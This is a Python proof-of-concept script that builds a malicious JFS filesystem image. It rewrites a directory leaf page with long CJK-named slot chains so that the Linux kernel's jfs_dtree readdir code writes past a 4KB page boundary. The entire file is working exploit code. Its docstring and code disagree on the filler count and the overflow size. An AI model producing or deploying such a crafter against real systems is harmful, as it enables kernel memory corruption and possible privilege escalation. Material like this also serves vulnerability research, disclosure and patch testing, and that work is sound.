#!/usr/bin/env python3
"""
JFS dtree readdir OOB-write PoC crafter.

Bug: fs/jfs/jfs_dtree.c:2916 bounds-checks `d->namlen + 1` (UTF-16 char count
treated as bytes) against `dirent_buf + PAGE_SIZE`. The slot-chain copy at
:2987 expands UTF-16 to UTF-8 via NLS table — up to 6 bytes per char with
NLS_MAX_CHARSET_SIZE=6, 3 bytes per char with utf8 + BMP CJK. With namlen=255
and a long chain, ~765 bytes are written for a 256-byte budget.

Strategy to maximize OOB:
  - 4 entries with namlen=255 + full slot chain   advance = 784 bytes each
  - 21 small filler entries with namlen=4         advance = 32 bytes each
  - 1 final entry with namlen=255 + chain         starts at jfs_dirent=3808
  - Final entry's bound check passes (3808+256=4064 < 4096)
  - Final entry's actual write extends to 3808+779=4587 -> 491 bytes OOB
    into the adjacent buddy page.

This crafter:
  1. Reads a baseline JFS image populated with CJK-named entries.
  2. Locates the root dir's leaf dtpage by scanning for a known filename's
     UTF-16-LE encoding.
  3. Rewrites the slot table and slots in-place to install our crafted entries.

Usage:
  craft_jfs_poc.py <input.img> <output.img>
"""
import sys
import struct

PAGE_SIZE       = 4096
DTSLOT_SIZE     = 32
DTSLOTS_PER_PG  = 128

# struct ldtentry layout (32 bytes):
#   __le32 inumber  (offset 0, 4)
#   s8     next     (offset 4, 1)   -> -1 = no chain, else slot index
#   u8     namlen   (offset 5, 1)
#   __le16 name[11] (offset 6, 22)
#   __le32 index    (offset 28, 4)
def ldtentry(inumber, next_slot, namlen, name_le16_22b, index):
    assert len(name_le16_22b) == 22
    return struct.pack('<I b B', inumber, next_slot, namlen) + name_le16_22b + struct.pack('<I', index)

# struct dtslot layout (32 bytes):
#   s8     next     (offset 0, 1)
#   s8     cnt      (offset 1, 1)   -> count of name chars in this slot
#   __le16 name[15] (offset 2, 30)
def dtslot(next_slot, cnt, name_le16_30b):
    assert len(name_le16_30b) == 30
    return struct.pack('<b b', next_slot, cnt) + name_le16_30b

def cjk_utf16_chars(n):
    """n UTF-16-LE bytes filled with CJK chars (U+4E00..) — each is 3 bytes UTF-8."""
    chars = b''
    for i in range(n // 2):
        c = 0x4E00 + (i & 0x1FFF)   # safe BMP CJK range
        chars += struct.pack('<H', c)
    return chars[:n]

def craft_entries():
    """
    Layout of slots within the leaf dtpage:
      slot[0]      header (32 bytes)        -- preserved from baseline
      slot[1..stbl_end]  stbl               -- we rewrite
      slot[stbl_end+1 .. ]  entries          -- we craft

    For 4KB block size, dtpage has 128 slots, stbl is 4 slots (slot[1..4]).
    Available for entries: slot[5..127] = 123 slots.

    We need:
      4 big   entries: namlen=255, head + 17 chain slots = 18 slots each = 72 slots
     21 small entries: namlen=4,   head only          = 1 slot each  = 21 slots
      1 final entry  : namlen=255, head + 17 chain   = 18 slots
    Total: 111 slots for entries. With 4 stbl + 1 header = 116 / 128. Fits.
    """
    big_entries = []
    for i in range(4):
        # namlen=255: head = 11 chars CJK + chain of 17 slots (15 chars each = 255 - 11 = 244 chars)
        head_name = cjk_utf16_chars(22)              # 11 chars * 2 bytes
        # chain: 16 full slots (15 chars) + 1 partial slot (4 chars) for total 244
        chain_slots = []
        remaining = 244
        for k in range(17):
            n_chars = min(remaining, 15)
            slot_name_bytes = cjk_utf16_chars(30)    # always 30 bytes; only n_chars used
            chain_slots.append((n_chars, slot_name_bytes))
            remaining -= n_chars
        big_entries.append((head_name, chain_slots))

    # Small fillers tune jfs_dirent's landing position before the final
    # malicious entry. Each namlen=4 small entry advances jfs_dirent by 32.
    # 4 big fillers (3136) + 7 small (224) -> jfs_dirent_final = 3360.
    # Final big writes 779 bytes -> ends at 4139 -> OOB ~43 bytes (controllable).
    SMALL_FILLERS = 7
    small_entries = []
    for i in range(SMALL_FILLERS):
        head_name = cjk_utf16_chars(22)
        small_entries.append(head_name)

    final_head = cjk_utf16_chars(22)
    final_chain = []
    remaining = 244
    for k in range(17):
        n_chars = min(remaining, 15)
        final_chain.append((n_chars, cjk_utf16_chars(30)))
        remaining -= n_chars

    return big_entries, small_entries, (final_head, final_chain)

def assemble_dtpage(header_32b):
    """Return 4096-byte dtpage with crafted layout. header_32b = original slot[0]."""
    big_entries, small_entries, (final_head, final_chain) = craft_entries()

    slots = [b'\x00' * DTSLOT_SIZE] * DTSLOTS_PER_PG
    slots[0] = header_32b   # keep original page header

    # --- allocate slot indices ---
    cursor = 5     # start placing entries at slot[5] (after header + stbl[1..4])
    big_starts = []
    chain_indices_per_big = []
    for (head_name, chain) in big_entries:
        head_idx = cursor; cursor += 1
        chain_idxs = []
        for _ in chain:
            chain_idxs.append(cursor); cursor += 1
        big_starts.append(head_idx)
        chain_indices_per_big.append(chain_idxs)

    small_starts = []
    for _ in small_entries:
        small_starts.append(cursor); cursor += 1

    final_head_idx = cursor; cursor += 1
    final_chain_idxs = []
    for _ in final_chain:
        final_chain_idxs.append(cursor); cursor += 1

    # --- build entries into slots ---
    # 4 big entries, namlen=255, inumber=arbitrary, index=2 (>= 2 to skip dot/dotdot logic)
    for i, ((head_name, chain), head_idx, chain_idxs) in enumerate(zip(
            big_entries, big_starts, chain_indices_per_big)):
        next_slot = chain_idxs[0]
        slots[head_idx] = ldtentry(
            inumber=0x100 + i, next_slot=next_slot, namlen=255,
            name_le16_22b=head_name, index=2 + i)
        for k, ((n_chars, slot_name), slot_idx) in enumerate(zip(chain, chain_idxs)):
            nxt = chain_idxs[k+1] if k+1 < len(chain_idxs) else -1
            slots[slot_idx] = dtslot(next_slot=nxt, cnt=n_chars, name_le16_30b=slot_name)

    for i, (head_name, head_idx) in enumerate(zip(small_entries, small_starts)):
        slots[head_idx] = ldtentry(
            inumber=0x200 + i, next_slot=-1, namlen=4,
            name_le16_22b=head_name, index=100 + i)

    # final entry
    next_slot = final_chain_idxs[0]
    slots[final_head_idx] = ldtentry(
        inumber=0x300, next_slot=next_slot, namlen=255,
        name_le16_22b=final_head, index=200)
    for k, ((n_chars, slot_name), slot_idx) in enumerate(zip(final_chain, final_chain_idxs)):
        nxt = final_chain_idxs[k+1] if k+1 < len(final_chain_idxs) else -1
        slots[slot_idx] = dtslot(next_slot=nxt, cnt=n_chars, name_le16_30b=slot_name)

    # --- build sorted entry index table (stbl) ---
    # stbl is a contiguous array of 1-byte slot indices, one per entry.
    # nextindex (in header) = number of entries.
    # For 4KB block: stbl is 4 slots = 128 bytes.  We fill the first N bytes
    # with our entry head slot indices in the order we want them processed.
    entry_order = list(big_starts) + list(small_starts) + [final_head_idx]
    stbl_bytes = bytes(entry_order) + b'\xff' * (128 - len(entry_order))   # -1 = unused
    # stbl occupies slot[1..4] = bytes [32..160] in the page
    page = b''.join(slots)
    page = page[:32] + stbl_bytes + page[160:]
    return page, len(entry_order), entry_order

def patch_header(page_bytes, nextindex, entry_order):
    """Modify the dtpage header to reflect our crafted layout.

    dtpage_t header (offset 0..31):
       __le64 next         (0)
       __le64 prev         (8)
       u8     flag         (16)
       u8     nextindex    (17)
       s8     freecnt      (18)
       s8     freelist     (19)
       u8     maxslot      (20)
       u8     stblindex    (21)
       u8     rsrvd[2]     (22)
       pxd_t  self         (24)   8 bytes
    """
    new_header = bytearray(page_bytes[:32])
    new_header[17] = nextindex      # nextindex = number of entries in stbl
    new_header[18] = 0              # freecnt = 0 (no free slots in our crafted layout)
    new_header[19] = -1 & 0xff      # freelist = -1
    new_header[20] = 128            # maxslot
    new_header[21] = 1              # stblindex = 1 (slot[1] = byte 32 = our crafted stbl)
    return bytes(new_header) + page_bytes[32:]

def find_dtpage(img):
    """Heuristic: look for a 4KB-aligned page that begins with what looks
    like a leaf dtpage header (BT_LEAF flag bit) and contains CJK chars from
    the baseline-populated entries.

    JFS dtpage flag byte at offset 16:
       BT_ROOT  = 0x01
       BT_LEAF  = 0x02
       BT_INTERNAL = 0x04
    """
    # Look for utf-16-le 'd','i','r','0','0','1' (each char 0xXX 0x00)
    needle = 'dir001'.encode('utf-16-le')   # 12 bytes
    pos = img.find(needle)
    if pos < 0:
        return -1
    # back off to the page boundary
    page_start = pos & ~(PAGE_SIZE - 1)
    # check it looks like a dtpage
    flag = img[page_start + 16]
    print(f"[*] candidate dtpage at 0x{page_start:x} flag=0x{flag:02x}", file=sys.stderr)
    return page_start

def main():
    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]} <input.img> <output.img>", file=sys.stderr)
        sys.exit(1)
    in_img, out_img = sys.argv[1], sys.argv[2]
    with open(in_img, 'rb') as f:
        img = bytearray(f.read())

    page_off = find_dtpage(img)
    if page_off < 0:
        print("[!] could not locate baseline dtpage (no 'dir001' utf-16 needle)", file=sys.stderr)
        sys.exit(2)

    original_header = bytes(img[page_off:page_off+32])
    crafted_page, nentries, entry_order = assemble_dtpage(original_header)
    crafted_page = patch_header(crafted_page, nentries, entry_order)
    img[page_off:page_off+PAGE_SIZE] = crafted_page

    with open(out_img, 'wb') as f:
        f.write(bytes(img))
    print(f"[+] wrote crafted image to {out_img}", file=sys.stderr)
    print(f"[+] dtpage @ 0x{page_off:x}, {nentries} entries", file=sys.stderr)
    print(f"[+] expected OOB: ~43 bytes past 4KB page boundary (controlled)", file=sys.stderr)

if __name__ == '__main__':
    main()